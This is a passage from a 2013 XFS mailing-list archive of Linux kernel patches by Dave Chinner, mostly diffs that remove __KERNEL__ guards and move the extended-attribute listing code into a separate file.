Invalidate all of the "remote" value regions pointed to by a particular - * leaf block. - * Note that we must release the lock on the buffer so that we are not - * caught holding something that the logging code wants to flush to disk. - */ -STATIC int -xfs_attr3_leaf_inactive( - struct xfs_trans **trans, - struct xfs_inode *dp, - struct xfs_buf *bp) -{ - struct xfs_attr_leafblock *leaf; - struct xfs_attr3_icleaf_hdr ichdr; - struct xfs_attr_leaf_entry *entry; - struct xfs_attr_leaf_name_remote *name_rmt; - struct xfs_attr_inactive_list *list; - struct xfs_attr_inactive_list *lp; - int error; - int count; - int size; - int tmp; - int i; - - leaf = bp->b_addr; - xfs_attr3_leaf_hdr_from_disk(&ichdr, leaf); - - /* - * Count the number of "remote" value extents. - */ - count = 0; - entry = xfs_attr3_leaf_entryp(leaf); - for (i = 0; i < ichdr.count; entry++, i++) { - if (be16_to_cpu(entry->nameidx) && - ((entry->flags & XFS_ATTR_LOCAL) == 0)) { - name_rmt = xfs_attr3_leaf_name_remote(leaf, i); - if (name_rmt->valueblk) - count++; - } - } - - /* - * If there are no "remote" values, we're done. - */ - if (count == 0) { - xfs_trans_brelse(*trans, bp); - return 0; - } - - /* - * Allocate storage for a list of all the "remote" value extents. - */ - size = count * sizeof(xfs_attr_inactive_list_t); - list = kmem_alloc(size, KM_SLEEP); - - /* - * Identify each of the "remote" value extents. - */ - lp = list; - entry = xfs_attr3_leaf_entryp(leaf); - for (i = 0; i < ichdr.count; entry++, i++) { - if (be16_to_cpu(entry->nameidx) && - ((entry->flags & XFS_ATTR_LOCAL) == 0)) { - name_rmt = xfs_attr3_leaf_name_remote(leaf, i); - if (name_rmt->valueblk) { - lp->valueblk = be32_to_cpu(name_rmt->valueblk); - lp->valuelen = xfs_attr3_rmt_blocks(dp->i_mount, - be32_to_cpu(name_rmt->valuelen)); - lp++; - } - } - } - xfs_trans_brelse(*trans, bp); /* unlock for trans. in freextent() */ - - /* - * Invalidate each of the "remote" value extents. - */ - error = 0; - for (lp = list, i = 0; i < count; i++, lp++) { - tmp = xfs_attr3_leaf_freextent(trans, dp, - lp->valueblk, lp->valuelen); - - if (error == 0) - error = tmp; /* save only the 1st errno */ - } - - kmem_free(list); - return error; -} - -/* - * Look at all the extents for this logical region, - * invalidate any buffers that are incore/in transactions. - */ -STATIC int -xfs_attr3_leaf_freextent( - struct xfs_trans **trans, - struct xfs_inode *dp, - xfs_dablk_t blkno, - int blkcnt) -{ - struct xfs_bmbt_irec map; - struct xfs_buf *bp; - xfs_dablk_t tblkno; - xfs_daddr_t dblkno; - int tblkcnt; - int dblkcnt; - int nmap; - int error; - - /* - * Roll through the "value", invalidating the attribute value's - * blocks. - */ - tblkno = blkno; - tblkcnt = blkcnt; - while (tblkcnt > 0) { - /* - * Try to remember where we decided to put the value. - */ - nmap = 1; - error = xfs_bmapi_read(dp, (xfs_fileoff_t)tblkno, tblkcnt, - &map, &nmap, XFS_BMAPI_ATTRFORK); - if (error) { - return(error); - } - ASSERT(nmap == 1); - ASSERT(map.br_startblock != DELAYSTARTBLOCK); - - /* - * If it's a hole, these are already unmapped - * so there's nothing to invalidate. - */ - if (map.br_startblock != HOLESTARTBLOCK) { - - dblkno = XFS_FSB_TO_DADDR(dp->i_mount, - map.br_startblock); - dblkcnt = XFS_FSB_TO_BB(dp->i_mount, - map.br_blockcount); - bp = xfs_trans_get_buf(*trans, - dp->i_mount->m_ddev_targp, - dblkno, dblkcnt, 0); - if (!bp) - return ENOMEM; - xfs_trans_binval(*trans, bp); - /* - * Roll to next transaction. - */ - error = xfs_trans_roll(trans, dp); - if (error) - return (error); - } - - tblkno += map.br_blockcount; - tblkcnt -= map.br_blockcount; - } - - return(0); -} -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 76AB77F72 for ; Fri, 19 Jul 2013 01:25:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 671AE8F8035 for ; Thu, 18 Jul 2013 23:25:50 -0700 (PDT) X-ASG-Debug-ID: 1374215132-04cbb04690117c03000a-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id FNhE96KVgnyAVdYQ for ; Thu, 18 Jul 2013 23:25:49 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQVWMwgYMTkDGxmID7YvjnKBOoNmA6F/hyuDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:41 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048w-5Q for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-0001z7-4T for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 31/49] xfs: remove __KERNEL__ check from xfs_dir2_leaf.c Date: Fri, 19 Jul 2013 16:25:02 +1000 X-ASG-Orig-Subj: [PATCH 31/49] xfs: remove __KERNEL__ check from xfs_dir2_leaf.c Message-Id: <1374215120-7271-32-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215147 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner It's actually an ifndef section, which means it is only included in userspace. however, it's deep within the libxfs code, so it's unlikely that the condition checked in userspace can actually occur (search an empty leaf) through the libxfs interfaces. i.e. if it can happen in usrspace, it can happen in the kernel, so remove it from userspace too.... Signed-off-by: Dave Chinner --- fs/xfs/xfs_dir2_leaf.c | 4 ---- 1 file changed, 4 deletions(-) diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index 5505edb..591eaf2 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -1586,10 +1586,6 @@ xfs_dir2_leaf_search_hash( ents = xfs_dir3_leaf_ents_p(leaf); xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); -#ifndef __KERNEL__ - if (!leafhdr.count) - return 0; -#endif /* * Note, the table cannot be empty, so we have to go through the loop. * Binary search the leaf entries looking for our hash value. -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F20E97F75 for ; Fri, 19 Jul 2013 01:25:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E33C08F8035 for ; Thu, 18 Jul 2013 23:25:50 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c02000b-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id TJinHmZY0T6NHkre for ; Thu, 18 Jul 2013 23:25:49 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45ygTqDZgOhf4crgyQq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:41 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048x-69 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-0001zC-4w for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 32/49] xfs: xfs_filestreams.h doesn't need __KERNEL__ Date: Fri, 19 Jul 2013 16:25:03 +1000 X-ASG-Orig-Subj: [PATCH 32/49] xfs: xfs_filestreams.h doesn't need __KERNEL__ Message-Id: <1374215120-7271-33-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215149 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Because it is only used within the kernel. Signed-off-by: Dave Chinner --- fs/xfs/xfs_filestream.h | 4 ---- 1 file changed, 4 deletions(-) diff --git a/fs/xfs/xfs_filestream.h b/fs/xfs/xfs_filestream.h index 09dd9af..6d61dbe 100644 --- a/fs/xfs/xfs_filestream.h +++ b/fs/xfs/xfs_filestream.h @@ -18,8 +18,6 @@ #ifndef __XFS_FILESTREAM_H__ #define __XFS_FILESTREAM_H__ -#ifdef __KERNEL__ - struct xfs_mount; struct xfs_inode; struct xfs_perag; @@ -69,6 +67,4 @@ xfs_inode_is_filestream( (ip->i_d.di_flags & XFS_DIFLAG_FILESTREAM); } -#endif /* __KERNEL__ */ - #endif /* __XFS_FILESTREAM_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EF1417F6C for ; Fri, 19 Jul 2013 01:25:49 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6F2B8AC010 for ; Thu, 18 Jul 2013 23:25:49 -0700 (PDT) X-ASG-Debug-ID: 1374215132-04cbb04690117c030009-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id tekk3yZFYLixylH7 for ; Thu, 18 Jul 2013 23:25:45 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUaAQwvMwgYMTkDGxmID7YvjnKFIAOUBpUkgyQqgS4k Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:38 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-00048F-RZ for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001xz-Qb for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 17/49] xfs: split out attribute listing code into separate file Date: Fri, 19 Jul 2013 16:24:48 +1000 X-ASG-Orig-Subj: [PATCH 17/49] xfs: split out attribute listing code into separate file Message-Id: <1374215120-7271-18-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215144 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The attribute listing code is not used by userspace, so like the directory readdir code, split it out into a separate file to minimise the differences between the filesystem shared with libxfs in userspace. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 + fs/xfs/xfs_attr.c | 317 +----------------------- fs/xfs/xfs_attr.h | 1 + fs/xfs/xfs_attr_leaf.c | 300 ---------------------- fs/xfs/xfs_attr_list.c | 655 +++++++++++++++++++++++++++++++++++++++++++++++++ 5 files changed, 658 insertions(+), 616 deletions(-) create mode 100644 fs/xfs/xfs_attr_list.c diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index b6158af..94df3ec 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -27,6 +27,7 @@ xfs-y += xfs_trace.o # highlevel code xfs-y += xfs_aops.o \ + xfs_attr_list.o \ xfs_bit.o \ xfs_buf.o \ xfs_dfrag.o \ diff --git a/fs/xfs/xfs_attr.c b/fs/xfs/xfs_attr.c index 0d92e21..e9fd5ac 100644 --- a/fs/xfs/xfs_attr.c +++ b/fs/xfs/xfs_attr.c @@ -63,7 +63,6 @@ STATIC int xfs_attr_shortform_addname(xfs_da_args_t *args); STATIC int xfs_attr_leaf_get(xfs_da_args_t *args); STATIC int xfs_attr_leaf_addname(xfs_da_args_t *args); STATIC int xfs_attr_leaf_removename(xfs_da_args_t *args); -STATIC int xfs_attr_leaf_list(xfs_attr_list_context_t *context); /* * Internal routines when attribute list is more than one block. @@ -71,7 +70,6 @@ STATIC int xfs_attr_leaf_list(xfs_attr_list_context_t *context); STATIC int xfs_attr_node_get(xfs_da_args_t *args); STATIC int xfs_attr_node_addname(xfs_da_args_t *args); STATIC int xfs_attr_node_removename(xfs_da_args_t *args); -STATIC int xfs_attr_node_list(xfs_attr_list_context_t *context); STATIC int xfs_attr_fillstate(xfs_da_state_t *state); STATIC int xfs_attr_refillstate(xfs_da_state_t *state); @@ -91,7 +89,7 @@ xfs_attr_name_to_xname( return 0; } -STATIC int +int xfs_inode_hasattr( struct xfs_inode *ip) { @@ -612,157 +610,6 @@ xfs_attr_remove( return xfs_attr_remove_int(dp, &xname, flags); } -int -xfs_attr_list_int(xfs_attr_list_context_t *context) -{ - int error; - xfs_inode_t *dp = context->dp; - - XFS_STATS_INC(xs_attr_list); - - if (XFS_FORCED_SHUTDOWN(dp->i_mount)) - return EIO; - - xfs_ilock(dp, XFS_ILOCK_SHARED); - - /* - * Decide on what work routines to call based on the inode size. - */ - if (!xfs_inode_hasattr(dp)) { - error = 0; - } else if (dp->i_d.di_aformat == XFS_DINODE_FMT_LOCAL) { - error = xfs_attr_shortform_list(context); - } else if (xfs_bmap_one_block(dp, XFS_ATTR_FORK)) { - error = xfs_attr_leaf_list(context); - } else { - error = xfs_attr_node_list(context); - } - - xfs_iunlock(dp, XFS_ILOCK_SHARED); - - return error; -} - -#define ATTR_ENTBASESIZE /* minimum bytes used by an attr */ \ - (((struct attrlist_ent *) 0)->a_name - (char *) 0) -#define ATTR_ENTSIZE(namelen) /* actual bytes used by an attr */ \ - ((ATTR_ENTBASESIZE + (namelen) + 1 + sizeof(u_int32_t)-1) \ - & ~(sizeof(u_int32_t)-1)) - -/* - * Format an attribute and copy it out to the user's buffer. - * Take care to check values and protect against them changing later, - * we may be reading them directly out of a user buffer. - */ -/*ARGSUSED*/ -STATIC int -xfs_attr_put_listent( - xfs_attr_list_context_t *context, - int flags, - unsigned char *name, - int namelen, - int valuelen, - unsigned char *value) -{ - struct attrlist *alist = (struct attrlist *)context->alist; - attrlist_ent_t *aep; - int arraytop; - - ASSERT(!(context->flags & ATTR_KERNOVAL)); - ASSERT(context->count >= 0); - ASSERT(context->count < (ATTR_MAX_VALUELEN/8)); - ASSERT(context->firstu >= sizeof(*alist)); - ASSERT(context->firstu <= context->bufsize); - - /* - * Only list entries in the right namespace. - */ - if (((context->flags & ATTR_SECURE) == 0) != - ((flags & XFS_ATTR_SECURE) == 0)) - return 0; - if (((context->flags & ATTR_ROOT) == 0) != - ((flags & XFS_ATTR_ROOT) == 0)) - return 0; - - arraytop = sizeof(*alist) + - context->count * sizeof(alist->al_offset[0]); - context->firstu -= ATTR_ENTSIZE(namelen); - if (context->firstu < arraytop) { - trace_xfs_attr_list_full(context); - alist->al_more = 1; - context->seen_enough = 1; - return 1; - } - - aep = (attrlist_ent_t *)&context->alist[context->firstu]; - aep->a_valuelen = valuelen; - memcpy(aep->a_name, name, namelen); - aep->a_name[namelen] = 0; - alist->al_offset[context->count++] = context->firstu; - alist->al_count = context->count; - trace_xfs_attr_list_add(context); - return 0; -} - -/* - * Generate a list of extended attribute names and optionally - * also value lengths. Positive return value follows the XFS - * convention of being an error, zero or negative return code - * is the length of the buffer returned (negated), indicating - * success. - */ -int -xfs_attr_list( - xfs_inode_t *dp, - char *buffer, - int bufsize, - int flags, - attrlist_cursor_kern_t *cursor) -{ - xfs_attr_list_context_t context; - struct attrlist *alist; - int error; - - /* - * Validate the cursor. - */ - if (cursor->pad1 || cursor->pad2) - return(XFS_ERROR(EINVAL)); - if ((cursor->initted == 0) && - (cursor->hashval || cursor->blkno || cursor->offset)) - return XFS_ERROR(EINVAL); - - /* - * Check for a properly aligned buffer. - */ - if (((long)buffer) & (sizeof(int)-1)) - return XFS_ERROR(EFAULT); - if (flags & ATTR_KERNOVAL) - bufsize = 0; - - /* - * Initialize the output buffer. - */ - memset(&context, 0, sizeof(context)); - context.dp = dp; - context.cursor = cursor; - context.resynch = 1; - context.flags = flags; - context.alist = buffer; - context.bufsize = (bufsize & ~(sizeof(int)-1)); /* align */ - context.firstu = context.bufsize; - context.put_listent = xfs_attr_put_listent; - - alist = (struct attrlist *)context.alist; - alist->al_count = 0; - alist->al_more = 0; - alist->al_offset[0] = context.bufsize; - - error = xfs_attr_list_int(&context); - ASSERT(error >= 0); - return error; -} - int /* error */ xfs_attr_inactive(xfs_inode_t *dp) { @@ -1167,28 +1014,6 @@ xfs_attr_leaf_get(xfs_da_args_t *args) return error; } -/* - * Copy out attribute entries for attr_list(), for leaf attribute lists. - */ -STATIC int -xfs_attr_leaf_list(xfs_attr_list_context_t *context) -{ - int error; - struct xfs_buf *bp; - - trace_xfs_attr_leaf_list(context); - - context->cursor->blkno = 0; - error = xfs_attr3_leaf_read(NULL, context->dp, 0, -1, &bp); - if (error) - return XFS_ERROR(error); - - error = xfs_attr3_leaf_list_int(bp, context); - xfs_trans_brelse(NULL, bp); - return XFS_ERROR(error); -} - - /*======================================================================== * External routines when attribute list size > XFS_LBSIZE(mp). *========================================================================*/ @@ -1781,143 +1606,3 @@ xfs_attr_node_get(xfs_da_args_t *args) xfs_da_state_free(state); return(retval); } - -STATIC int /* error */ -xfs_attr_node_list(xfs_attr_list_context_t *context) -{ - attrlist_cursor_kern_t *cursor; - xfs_attr_leafblock_t *leaf; - xfs_da_intnode_t *node; - struct xfs_attr3_icleaf_hdr leafhdr; - struct xfs_da3_icnode_hdr nodehdr; - struct xfs_da_node_entry *btree; - int error, i; - struct xfs_buf *bp; - - trace_xfs_attr_node_list(context); - - cursor = context->cursor; - cursor->initted = 1; - - /* - * Do all sorts of validation on the passed-in cursor structure. - * If anything is amiss, ignore the cursor and look up the hashval - * starting from the btree root. - */ - bp = NULL; - if (cursor->blkno > 0) { - error = xfs_da3_node_read(NULL, context->dp, cursor->blkno, -1, - &bp, XFS_ATTR_FORK); - if ((error != 0) && (error != EFSCORRUPTED)) - return(error); - if (bp) { - struct xfs_attr_leaf_entry *entries; - - node = bp->b_addr; - switch (be16_to_cpu(node->hdr.info.magic)) { - case XFS_DA_NODE_MAGIC: - case XFS_DA3_NODE_MAGIC: - trace_xfs_attr_list_wrong_blk(context); - xfs_trans_brelse(NULL, bp); - bp = NULL; - break; - case XFS_ATTR_LEAF_MAGIC: - case XFS_ATTR3_LEAF_MAGIC: - leaf = bp->b_addr; - xfs_attr3_leaf_hdr_from_disk(&leafhdr, leaf); - entries = xfs_attr3_leaf_entryp(leaf); - if (cursor->hashval > be32_to_cpu( - entries[leafhdr.count - 1].hashval)) { - trace_xfs_attr_list_wrong_blk(context); - xfs_trans_brelse(NULL, bp); - bp = NULL; - } else if (cursor->hashval <= be32_to_cpu( - entries[0].hashval)) { - trace_xfs_attr_list_wrong_blk(context); - xfs_trans_brelse(NULL, bp); - bp = NULL; - } - break; - default: - trace_xfs_attr_list_wrong_blk(context); - xfs_trans_brelse(NULL, bp); - bp = NULL; - } - } - } - - /* - * We did not find what we expected given the cursor's contents, - * so we start from the top and work down based on the hash value. - * Note that start of node block is same as start of leaf block. - */ - if (bp == NULL) { - cursor->blkno = 0; - for (;;) { - __uint16_t magic; - - error = xfs_da3_node_read(NULL, context->dp, - cursor->blkno, -1, &bp, - XFS_ATTR_FORK); - if (error) - return(error); - node = bp->b_addr; - magic = be16_to_cpu(node->hdr.info.magic); - if (magic == XFS_ATTR_LEAF_MAGIC || - magic == XFS_ATTR3_LEAF_MAGIC) - break; - if (magic != XFS_DA_NODE_MAGIC && - magic != XFS_DA3_NODE_MAGIC) { - XFS_CORRUPTION_ERROR("xfs_attr_node_list(3)", - XFS_ERRLEVEL_LOW, - context->dp->i_mount, - node); - xfs_trans_brelse(NULL, bp); - return XFS_ERROR(EFSCORRUPTED); - } - - xfs_da3_node_hdr_from_disk(&nodehdr, node); - btree = xfs_da3_node_tree_p(node); - for (i = 0; i < nodehdr.count; btree++, i++) { - if (cursor->hashval - <= be32_to_cpu(btree->hashval)) { - cursor->blkno = be32_to_cpu(btree->before); - trace_xfs_attr_list_node_descend(context, - btree); - break; - } - } - if (i == nodehdr.count) { - xfs_trans_brelse(NULL, bp); - return 0; - } - xfs_trans_brelse(NULL, bp); - } - } - ASSERT(bp != NULL); - - /* - * Roll upward through the blocks, processing each leaf block in - * order. As long as there is space in the result buffer, keep - * adding the information. - */ - for (;;) { - leaf = bp->b_addr; - error = xfs_attr3_leaf_list_int(bp, context); - if (error) { - xfs_trans_brelse(NULL, bp); - return error; - } - xfs_attr3_leaf_hdr_from_disk(&leafhdr, leaf); - if (context->seen_enough || leafhdr.forw == 0) - break; - cursor->blkno = leafhdr.forw; - xfs_trans_brelse(NULL, bp); - error = xfs_attr3_leaf_read(NULL, context->dp, cursor->blkno, -1, - &bp); - if (error) - return error; - } - xfs_trans_brelse(NULL, bp); - return 0; -} diff --git a/fs/xfs/xfs_attr.h b/fs/xfs/xfs_attr.h index de8dd58..cb604b5 100644 --- a/fs/xfs/xfs_attr.h +++ b/fs/xfs/xfs_attr.h @@ -141,5 +141,6 @@ typedef struct xfs_attr_list_context { */ int xfs_attr_inactive(struct xfs_inode *dp); int xfs_attr_list_int(struct xfs_attr_list_context *); +int xfs_inode_hasattr(struct xfs_inode *ip); #endif /* __XFS_ATTR_H__ */ diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index e6497d0..90c033e 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -752,182 +752,6 @@ out: return(error); } -STATIC int -xfs_attr_shortform_compare(const void *a, const void *b) -{ - xfs_attr_sf_sort_t *sa, *sb; - - sa = (xfs_attr_sf_sort_t *)a; - sb = (xfs_attr_sf_sort_t *)b; - if (sa->hash < sb->hash) { - return(-1); - } else if (sa->hash > sb->hash) { - return(1); - } else { - return(sa->entno - sb->entno); - } -} - - -#define XFS_ISRESET_CURSOR(cursor) \ - (!((cursor)->initted) && !((cursor)->hashval) && \ - !((cursor)->blkno) && !((cursor)->offset)) -/* - * Copy out entries of shortform attribute lists for attr_list(). - * Shortform attribute lists are not stored in hashval sorted order. - * If the output buffer is not large enough to hold them all, then we - * we have to calculate each entries' hashvalue and sort them before - * we can begin returning them to the user. - */ -/*ARGSUSED*/ -int -xfs_attr_shortform_list(xfs_attr_list_context_t *context) -{ - attrlist_cursor_kern_t *cursor; - xfs_attr_sf_sort_t *sbuf, *sbp; - xfs_attr_shortform_t *sf; - xfs_attr_sf_entry_t *sfe; - xfs_inode_t *dp; - int sbsize, nsbuf, count, i; - int error; - - ASSERT(context != NULL); - dp = context->dp; - ASSERT(dp != NULL); - ASSERT(dp->i_afp != NULL); - sf = (xfs_attr_shortform_t *)dp->i_afp->if_u1.if_data; - ASSERT(sf != NULL); - if (!sf->hdr.count) - return(0); - cursor = context->cursor; - ASSERT(cursor != NULL); - - trace_xfs_attr_list_sf(context); - - /* - * If the buffer is large enough and the cursor is at the start, - * do not bother with sorting since we will return everything in - * one buffer and another call using the cursor won't need to be - * made. - * Note the generous fudge factor of 16 overhead bytes per entry. - * If bufsize is zero then put_listent must be a search function - * and can just scan through what we have. - */ - if (context->bufsize == 0 || - (XFS_ISRESET_CURSOR(cursor) && - (dp->i_afp->if_bytes + sf->hdr.count * 16) < context->bufsize)) { - for (i = 0, sfe = &sf->list[0]; i < sf->hdr.count; i++) { - error = context->put_listent(context, - sfe->flags, - sfe->nameval, - (int)sfe->namelen, - (int)sfe->valuelen, - &sfe->nameval[sfe->namelen]); - - /* - * Either search callback finished early or - * didn't fit it all in the buffer after all. - */ - if (context->seen_enough) - break; - - if (error) - return error; - sfe = XFS_ATTR_SF_NEXTENTRY(sfe); - } - trace_xfs_attr_list_sf_all(context); - return(0); - } - - /* do no more for a search callback */ - if (context->bufsize == 0) - return 0; - - /* - * It didn't all fit, so we have to sort everything on hashval. - */ - sbsize = sf->hdr.count * sizeof(*sbuf); - sbp = sbuf = kmem_alloc(sbsize, KM_SLEEP | KM_NOFS); - - /* - * Scan the attribute list for the rest of the entries, storing - * the relevant info from only those that match into a buffer. - */ - nsbuf = 0; - for (i = 0, sfe = &sf->list[0]; i < sf->hdr.count; i++) { - if (unlikely( - ((char *)sfe < (char *)sf) || - ((char *)sfe >= ((char *)sf + dp->i_afp->if_bytes)))) { - XFS_CORRUPTION_ERROR("xfs_attr_shortform_list", - XFS_ERRLEVEL_LOW, - context->dp->i_mount, sfe); - kmem_free(sbuf); - return XFS_ERROR(EFSCORRUPTED); - } - - sbp->entno = i; - sbp->hash = xfs_da_hashname(sfe->nameval, sfe->namelen); - sbp->name = sfe->nameval; - sbp->namelen = sfe->namelen; - /* These are bytes, and both on-disk, don't endian-flip */ - sbp->valuelen = sfe->valuelen; - sbp->flags = sfe->flags; - sfe = XFS_ATTR_SF_NEXTENTRY(sfe); - sbp++; - nsbuf++; - } - - /* - * Sort the entries on hash then entno. - */ - xfs_sort(sbuf, nsbuf, sizeof(*sbuf), xfs_attr_shortform_compare); - - /* - * Re-find our place IN THE SORTED LIST. - */ - count = 0; - cursor->initted = 1; - cursor->blkno = 0; - for (sbp = sbuf, i = 0; i < nsbuf; i++, sbp++) { - if (sbp->hash == cursor->hashval) { - if (cursor->offset == count) { - break; - } - count++; - } else if (sbp->hash > cursor->hashval) { - break; - } - } - if (i == nsbuf) { - kmem_free(sbuf); - return(0); - } - - /* - * Loop putting entries into the user buffer. - */ - for ( ; i < nsbuf; i++, sbp++) { - if (cursor->hashval != sbp->hash) { - cursor->hashval = sbp->hash; - cursor->offset = 0; - } - error = context->put_listent(context, - sbp->flags, - sbp->name, - sbp->namelen, - sbp->valuelen, - &sbp->name[sbp->namelen]); - if (error) - return error; - if (context->seen_enough) - break; - 